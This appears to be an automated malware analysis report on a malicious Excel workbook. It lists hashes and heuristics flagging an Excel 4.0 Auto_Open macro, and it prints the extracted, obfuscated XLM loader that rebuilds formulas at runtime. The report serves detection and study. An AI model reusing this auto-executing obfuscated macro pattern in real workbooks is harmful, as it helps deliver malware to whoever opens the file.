Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96bebb29dd303462…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:37 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 523c2351f5131f61a906222047b727fd SHA-1: 0d03fed527306e8dff456bf976e0ae5501e94a0e SHA-256: 96bebb29dd30346283da2428257659b4f312969cb1181614f61607fdf3abddf0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6668 bytes
SHA-256: 31be27fbaa296f69e918f2564894aa4145c343a2a555cafbda40f75d64cdd383
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MlLQCgzy
' 0018     24 LABEL : Cell Value, String Constant - aHMoYsVYh len=0 
' 0018     26 LABEL : Cell Value, String Constant - AihjRsQpSHu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F161 
' 0018     20 LABEL : Cell Value, String Constant - DBVkE len=0 
' 0018     24 LABEL : Cell Value, String Constant - eLfsKMXht len=0 
' 0018     25 LABEL : Cell Value, String Constant - fFhbCRuDxS len=0 
' 0018     26 LABEL : Cell Value, String Constant - FWnHeYHUMAr len=0 
' 0018     26 LABEL : Cell Value, String Constant - fzfZtGbhKUY len=0 
' 0018     26 LABEL : Cell Value, String Constant - hOVvUiHhpIu len=0 
' 0018     26 LABEL : Cell Value, String Constant - IpGkbvcrCcp len=0 
' 0018     20 LABEL : Cell Value, String Constant - ixGDs len=0 
' 0018     21 LABEL : Cell Value, String Constant - Ljsasf len=0 
' 0018     27 LABEL : Cell Value, String Constant - LxuOJtppdZEt len=0 
' 0018     21 LABEL : Cell Value, String Constant - NsaWZk len=0 
' 0018     27 LABEL : Cell Value, String Constant - NVozaDXBizAx len=0 
' 0018     27 LABEL : Cell Value, String Constant - pxmnxuGwSuTG len=0 
' 0018     25 LABEL : Cell Value, String Constant - spcGrBDdvk len=0 
' 0018     27 LABEL : Cell Value, String Constant - wbnDidHSCCoy len=0 
' 0018     23 LABEL : Cell Value, String Constant - xuCtopHp len=0 
' 0018     24 LABEL : Cell Value, String Constant - YJRmlevhp len=0 
' 0018     25 LABEL : Cell Value, String Constant - yutWXrGawv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MlLQCgzy,F71,"SET.NAME("NVozaDXBizAx",VALUE("0"))",""
'  MlLQCgzy,F73,"SET.NAME("fzfZtGbhKUY",NVozaDXBizAx)",""
'  MlLQCgzy,F76,"SET.NAME("spcGrBDdvk",NVozaDXBizAx)",""
'  MlLQCgzy,F80,"SET.NAME("fFhbCRuDxS",COUNTA(wbnDidHSCCoy))",""
'  MlLQCgzy,F83,"SET.NAME("aHMoYsVYh",COUNTA(AihjRsQpSHu))",""
'  MlLQCgzy,F88,[],""
'  MlLQCgzy,F93,"SET.NAME("YJRmlevhp","")",""
'  MlLQCgzy,F98,"fzfZtGbhKUY",""
'  MlLQCgzy,F103,"SET.NAME("ixGDs",HLOOKUP("*",wbnDidHSCCoy,fzfZtGbhKUY,FALSE))",""
'  MlLQCgzy,F105,"yutWXrGawv",""
'  MlLQCgzy,F109,"SET.NAME("DBVkE",NVozaDXBizAx)",""
'  MlLQCgzy,F113,[],""
'  MlLQCgzy,F115,"DBVkE",""
'  MlLQCgzy,F119,"pxmnxuGwSuTG",""
'  MlLQCgzy,F122,"LxuOJtppdZEt",""
'  MlLQCgzy,F125,"hOVvUiHhpIu",""
'  MlLQCgzy,F130,"SET.NAME("FWnHeYHUMAr",VALUE(HLOOKUP("*",AihjRsQpSHu,hOVvUiHhpIu,FALSE)))",""
'  MlLQCgzy,F132,"eLfsKMXht",""
'  MlLQCgzy,F137,"YJRmlevhp",""
'  MlLQCgzy,F142,"spcGrBDdvk",""
'  MlLQCgzy,F146,NEXT(),""
'  MlLQCgzy,F149,"NsaWZk",""
'  MlLQCgzy,F152,"SET.NAME("f",INT(T(FORMULA(T(YJRmlevhp)&"",""&T(NsaWZk)))))",""
'  MlLQCgzy,F155,"Ljsasf",""
'  MlLQCgzy,F157,NEXT(),""
'  MlLQCgzy,F159,RETURN(),""
'  MlLQCgzy,F191,"SET.NAME("IpGkbvcrCcp",F71)",""
'  MlLQCgzy,F196,"wbnDidHSCCoy",""
'  MlLQCgzy,F200,"SET.NAME("AihjRsQpSHu",R98C11)",""
'  MlLQCgzy,F205,"SET.NAME("Ljsasf",213)",""
'  MlLQCgzy,F209,"SET.NAME("xuCtopHp",6)",""
'  MlLQCgzy,F212,IpGkbvcrCcp(),""
'  MlLQCgzy,F213,HALT(),""